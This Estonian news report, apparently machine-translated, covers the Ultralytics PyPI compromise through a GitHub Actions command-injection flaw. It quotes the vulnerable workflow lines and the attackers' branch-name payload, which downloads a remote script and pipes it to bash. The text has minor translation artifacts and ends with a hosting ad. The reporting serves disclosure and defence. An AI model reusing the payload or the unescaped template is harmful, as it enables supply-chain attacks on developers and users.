GitHub Actions'i töötlemise viga viis Ultralytics'i pahatahtlike versioonide avaldamiseni.

Küsimused suudsid käivitada koodi GitHub Actions töötleja õigustes Ultralytics'i Python teegi hoidlas, mida kasutatakse arvutinägemise ülesannete lahendamiseks, nagu objektide tuvastamine piltidel ja piltide segmentimine. Pärast hoidla juurde pääsemist avaldasid ründajad PyPI kataloogis mitu uut Ultralytics'i väljaannet, milles olid kuritahtlikud muudatused krüptovaluuta kaevandamiseks. Viimase kuu jooksul on Ultralytics'i teek PyPI kataloogist alla laaditud rohkem kui 6,4 miljonit korda.

Hoidla kompromiteerimiseks kasutati haavatavust paketis ultralytics-actions, mida kasutatakse automaatsete töötlejate käivitamiseks, kui teatud toimingud toimub GitHub'i hoidlas, kasutades GitHub Actions mehhanismi. Ultralytics projektis oli haavatav töötlija seotud pull_request_target sündmusega ja käivitati, kui saabusid uued pull-requestid. Eelkõige kutsuti koodi vormindamiseks, mis oli esitatud pull-requestides, töötlija format.yml ja käidi kood, mis oli määratud action.yml faili 'run' sektsioonis, mis sisaldas shell-käsklusi asendustemplate'idega: git pull origin ${{ github.head_ref || github.ref }} git config —global user.name "${{ inputs.github_username }}" git config —global user.email "${{ inputs.github_email }}"

Nii real-time shell-käsklustesse manustati Git-oksade nimed, mida viidati pull-requestis, ilma nõuetekohase põgenemiseta. Märkimisväärne on see, et augustis parandati ultralytics-actions paketis juba sarnane haavatavus, mis oli seotud välise väärtuse kasutamisega funktsiooni echo sees: echo "github.event.pull_request.head.ref: ${{ github.event.pull_request.head.ref }}"

Oma koodi käitamise korraldamiseks GitHub Actions kontektis saatsid ründajad pull-requesti ultralytics hoidlasse, määrates haru nimeks: openimbot:$({curl,-sSfL,raw.githubusercontent.com/ultralytics/ultralytics/12e4f54ca3f2e69bcdc900d1c6e16642ca8ae545/file.sh}${IFS}|${IFS}bash)

Seega asendati pull-requesti saabumisel koodis antud ründajate string "$(…)". See viis hilisema xửamise käivitamisel koodini "curl -sSfL raw.githubusercontent.com/…/file.sh | bash".

GitHub Actions'i töötlemise viga viis Ultralytics'i pahatahtlike versioonide avaldamiseni.

Koodi käitamine GitHub Actions kontekstis võib kasutada juurdepääsutokeni ja muid konfidentsiaalseid andmeid hankimiseks. Kuidas ründajatel õnnestus käivitada oma kood GitHub Actions, pole veel selge, kuid arvatakse, et seda võis võimaldada publish.yml töötlemise muundamine (ründajad eemaldasid konto kontrolli, millelt on lubatud avaldada versioone PyPI-s) ja GitHub Actioni ehitusvahe hoidla nakatamise tehnika kasutamine oma andmete sisestamiseks versiooni.

Esimene pahatahtlik versioon Ultralytics 8.3.41 avaldati ründajate poolt PyPI kataloogis 4. detsembril kell 23:51 (MSK) ja eemaldati järgmisel päeval kell 12:15. Kell 15:47 avaldati veel üks versioon 8.3.42, mis eemaldati kell 16:47. Seega olid pahatahtlikud versioonid kokku saadaval alla laadimiseks umbes 13 tundi (ühel päeval registreeritakse PyPI-s umbes 250 000 ultralytics teegi allalaadimist). Versioonides 8.3.41 ja 8.3.42 oli kood, mis laadis välja väliseid serverilt XMRig komponent krüptorahade kaevandamiseks.

Projekti arendajad lahendasid probleemi ja koostasid parandavad versioonid 8.3.43 ja 8.3.44, kuid kaks päeva hiljem toimus veel üks rünnak, mille käigus avaldati täna kell 04:41 ja 05:27 (MSK) kaks täiendavat pahatahtlikku versiooni — 8.3.45 ja 8.3.46, mis sisaldavad teistsugust kaevandamiskoodi. Enne uurimise lõppemist soovitatakse kasutajatel uute versioonide installimist edasi lükata ja fikseerida sõltuvustes versioon 8.3.44.

Allikas: opennet.ru

Osta usaldusväärne hostimine veebilehtede jaoks DDoS-i kaitsega, VPS VDS serverid 🔥 Osta usaldusväärne hostimine veebilehtede jaoks DDoS-i kaitsega, VPS VDS serverid | ProHoster